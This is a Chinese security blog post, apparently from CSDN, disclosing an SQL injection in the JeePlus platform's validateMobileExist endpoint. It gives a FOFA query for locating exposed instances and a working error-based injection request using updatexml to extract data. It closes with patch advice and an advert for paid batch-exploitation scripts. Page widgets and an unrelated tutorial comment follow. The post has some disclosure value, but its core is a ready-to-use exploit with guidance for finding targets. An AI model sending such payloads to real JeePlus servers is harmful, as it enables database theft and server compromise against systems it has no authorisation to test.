Jeeplus快速开发平台 validateMobileExist SQL注入漏洞

0x01 免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02 产品介绍

JeePlus(洁普斯)是一个软件快速开发平台,使用多种现代Web技术,包括Spring Cloud/Spring Boot、MyBatis Plus、Spring Security、Redis、Vue3、Element Plus等。该平台支持多种数据库,如MySQL、Oracle、sqlserver、postgresql等。JeePlus采用标准的SOA架构,依托优秀的前台富客户端框架(如Extjs4.2)实现展示层的MVC(Model View Controller)再分层。它还利用内部升级版的SSH2应用框架和独有的DynaBean数据处理模式,使SQL执行更快更灵活。此外,JeePlus是一个低代码开发平台,解决了开发中大量的重复工作,让开发者更多聚焦业务逻辑,快速开发和部署现代Web应用程序+微服务架构。通过使用JeePlus,可以设计数据库表、配置表单模型、生成代码、一键生成菜单等,从而实现自动建表,根据表生成对应的Domain/DTO、Service、Mapper、Controller、Vue等,支持增删改查/排序/导出导入Excel/权限控制/功能生成直接使用等功能。同时,JeePlus还支持多租户技术,保证系统共性的部分被共享,个性的部分被单独隔离。

0x03 漏洞威胁

JeePlus快速开发平台  validateMobileExist 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x04 漏洞环境

FOFA:

app="JeePlus"

0x05 漏洞复现

POC

GET /a/sys/user/validateMobileExist?&mobile=1%27+and+1%3D%28updatexml%281%2Cconcat%280x7e%2C%28select+version%28%29%29%2C0x7e%29%2C1%29%29+and+%271%27%3D%271 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

查询数据库版本

0x06 批量验证脚本

Nuclei验证脚本已发布
知识星球:冷漠安全

0x07 修复建议

关闭互联网暴露面或接口设置访问权限

升级JeePlus至最新版本

官网下载最新安全补丁:http://www.jeeplus.org/

漏洞详情及批量检测POC工具请前往知识星球获取
知识星球:冷漠安全
交个朋友,限时优惠券:加入立减25

星球福利:每天更新最新漏洞POC、资料文献、内部工具等

  • 11
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
当然,我可以为您提供关于JeePlus的新手教程。JeePlus是一个基于Java的开源框架,用于快速开发企业级Java应用程序。它提供了许多便捷的功能和工具,可以简化开发过程,并提高开发效率。 以下是一个简单的JeePlus新手教程的大纲: 1. 环境设置: - 安装Java开发工具包(JDK)和集成开发环境(IDE),例如Eclipse或IntelliJ IDEA。 - 下载JeePlus框架,并导入到IDE中。 2. 创建新项目: - 在IDE中创建一个新的Java项目。 - 将JeePlus框架添加到项目的依赖中。 3. 数据库配置: - 配置数据库连接,包括数据库驱动程序和连接URL。 - 创建数据库表格或使用现有表格。 4. 实体类和数据访问对象(DAO): - 创建Java实体类,映射到数据库表格。 - 创建DAO类,用于对实体类进行数据库操作,例如增删改查。 5. 业务逻辑层: - 创建服务类,实现业务逻辑。 - 在服务类中调用DAO类来操作数据库。 6. 控制器层: - 创建控制器类,处理用户请求。 - 使用注解来映射URL和方法,处理HTTP请求和响应。 7. 视图层: - 创建JSP页面,用于显示数据和与用户交互。 - 使用JSTL(JavaServer Pages标准标签库)和EL(表达式语言)来处理页面逻辑和显示数据。 8. 测试和调试: - 编写单元测试用例,确保代码的正确性。 - 使用调试工具来调试代码并解决错误。 这只是一个简单的JeePlus新手教程大纲,涵盖了基本的项目搭建和开发流程。当然,JeePlus框架还有更多高级功能和特性,您可以根据需要深入学习和应用。希望对您有所帮助!如果您有任何具体的问题,可以随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值